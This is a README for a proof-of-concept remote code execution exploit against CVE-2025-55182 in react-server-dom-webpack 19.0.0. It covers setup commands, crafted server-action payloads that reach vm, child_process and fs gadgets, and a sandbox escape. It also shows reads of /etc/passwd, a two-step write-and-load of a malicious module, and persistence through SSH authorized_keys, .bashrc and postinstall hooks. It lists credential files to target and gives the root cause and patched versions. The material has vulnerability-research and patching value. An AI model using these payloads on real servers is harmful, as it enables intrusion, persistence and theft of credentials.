This is the real working POC using actual react-server-dom-webpack@19.0.0 vulnerable code.
# Install dependencies
cd /tmp/react-rsc-real
npm install
# Start vulnerable server (port 3002)
node --conditions react-server --conditions webpack src/server.js
# Run exploit (in another terminal)
node exploit-rce-v4.js=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
| File | Server | Description |
|---|---|---|
exploit-rce-v4.js |
3002 | Primary RCE via vm#runInThisContext |
exploit-all-gadgets.js |
3002 | Tests all RCE gadgets (vm, child_process, fs) |
exploit-module-load.js |
3003 | Two-step RCE via fs + module#_load |
exploit-indirect-rce.js |
3003 | Two-step RCE with proof file creation |
exploit-persistence.js |
3002 | Persistence attacks (SSH keys, .bashrc) |
exploit-research.js |
3002 | Prototype chain research |
| File | Port | Description |
|---|---|---|
src/server.js |
3002 | Main server with vm, child_process, fs, util |
src/server-module-test.js |
3003 | Server with module + fs (unlikely in real apps, for research) |
# Servers
npm start # Start main server (port 3002)
npm run start:module # Start module server (port 3003)
# Exploits (port 3002)
npm run exploit # Primary RCE via vm
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks
npm run exploit:research # Prototype chain research
# Exploits (port 3003 - requires start:module)
npm run exploit:module # Two-step RCE
npm run exploit:indirect # Two-step RCE with proof file- Loads actual
react-server-dom-webpackbundled code - Sets up
__webpack_require__to simulate webpack runtime - Creates manifest with modules including
vm - Exposes
/formactionendpoint that callsdecodeAction
Sends crafted multipart form data:
{
'$ACTION_REF_0': '',
'$ACTION_0:0': JSON.stringify({
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
})
}$ACTION_REF_0triggers bound action metadata parsingid: 'vm#runInThisContext'loadsvmmodule, accessesrunInThisContextexportboundarray becomes arguments torunInThisContext.bind(null, CODE)- When action is called:
runInThisContext(CODE)executes the code - RCE achieved!
Run node exploit-all-gadgets.js to test all gadgets:
| Gadget | Status | Description |
|---|---|---|
vm#runInThisContext |
✓ | Execute arbitrary JS in current context |
vm#runInNewContext |
✓ | Execute in "sandbox" (easily escaped via constructor chain) |
child_process#execSync |
✓ | Direct shell command execution |
child_process#execFileSync |
✓ | Execute binary files |
child_process#spawnSync |
✓ | Spawn process (returns object) |
module#_load |
✓ | Load and execute JS file (2-step with fs) |
fs#readFileSync |
✓ | Read arbitrary files |
fs#writeFileSync |
✓ | Write arbitrary files |
Any Node.js built-in module exposed in the webpack manifest can be exploited.
Execute shell command (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }Read sensitive files:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }Write files to disk:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }Execute arbitrary JavaScript:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}Sandbox escape (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}$ node exploit-all-gadgets.js
=== CVE-2025-55182 - All RCE Gadgets ===
1. vm#runInThisContext
✓ {"success":true,"result":"nick"}
2. vm#runInNewContext
✓ {"success":true,"result":"nick"}
3. child_process#execSync
✓ {"success":true,"result":"nick\n"}
4. child_process#execFileSync
✓ {"success":true,"result":"nick\n"}
5. child_process#spawnSync
✓ Returns spawn result object
6. util#promisify (utility function)
✗ Returns promisify function
7. fs#readFileSync (file read)
✓ Can read /etc/passwd
8. fs#writeFileSync (file write)
✓ Can write files
Verified: CVE-2025-55182 was here
For Direct RCE: Yes, you need one of:
vmmodule (runInThisContext, runInNewContext)child_processmodule (execSync, execFileSync, spawnSync)modulemodule (_load) +fs(2-step attack - unlikely in real apps)
For Indirect RCE (fs-only): No! With just fs you can:
- Write to
~/.ssh/authorized_keys→ SSH access - Append to
~/.bashrc→ Code execution on next login - Overwrite
node_modules/*→ RCE on app restart - Modify
package.jsonpostinstall → RCE on next npm install
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!Even without RCE, attackers can read:
- Environment files:
.env,.env.local,.env.production - Cloud credentials:
~/.aws/credentials,~/.config/gcloud/ - SSH keys:
~/.ssh/id_rsa - Application source code
Root Cause: Missing hasOwnProperty check in requireModule:
// Vulnerable (v19.0.0)
return moduleExports[metadata[2]]; // Allows prototype chain access!
// Fixed (v19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];See /tmp/react-rsc-patched/ for comparison with patched react-server-dom-webpack@19.2.1.
See VULNERABLE-PACKAGES.md for research on popular npm packages that include dangerous modules:
| Module | Weekly Downloads | Popular Packages |
|---|---|---|
fs |
145M+ | fs-extra, gray-matter, multer, sharp |
child_process |
103M+ | execa, shelljs, puppeteer, sharp |
vm |
21M+ | ejs, pug, handlebars, vm2 |
Key finding: Almost every Next.js app has packages using fs, making file read/write attacks very likely. Apps with image processing (sharp) or PDF generation (puppeteer) are vulnerable to direct RCE.
The various exploit-*.js files show the research process:
exploit.js- Initial attemptsexploit-chain*.js- Prototype chain explorationexploit-rce*.js- RCE gadget huntingexploit-rce-v4.js- Final working exploit
- react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
- Next.js: 15.x, 16.x (App Router)
- React: 19.0.1, 19.1.2, 19.2.1
- Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7